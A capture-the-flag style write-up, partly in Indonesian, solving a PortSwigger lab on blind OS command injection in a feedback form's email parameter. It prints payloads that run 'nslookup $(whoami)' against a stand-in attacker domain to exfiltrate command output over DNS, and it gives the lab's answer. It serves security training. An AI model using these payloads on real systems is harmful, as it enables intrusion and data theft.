Blind OS command injection with out-of-band data exfiltration

Link: https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration

Description:

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.

Proof of concept:

  1. Lakukan analisa pada web target

  2. Terdapat fitur Submit feedback yang didalamnya terdapat parameter email

  3. Lakukan injeksi pada parameter email , gunakan payload basic blind OS command injection yaitu ;nslookup <<domain attacker>>; . Pada kasus ini, domain attacker hanya berfungsi ketika menggunakan domain dari burp suite collabolator. Jika sudah diinjeksikan, kirim request tersebut

  4. Pada burp suite collabolator, klik Poll now dan request pun berhasil diterima oleh burp suite collabolator. Artinya parameter email pada endpoint submit feedback rentan terhadap OS command injection

  5. Untuk dapat menyelesaikan tangtangan pada lab ini, harus mendapatkan user server yang sedang berjalan. Untuk dapat mendapatkan informasi tersebut dapat menggunakan payload ;nslookup $(whoami).<<domain.attacker>>;. Jika sudah, kirim request tersebut dan lakukan Poll now kembali pada burp collabolator

  6. Dan terlihat nama user server yang sedang berjalan pada service web ini adalah peter-pI8qNt. Submit user tersebut agar dapat menyelesaikan tantangan pada lab ini

Thanks, Stay Ethical & Happy Hacking! 🍻

Last updated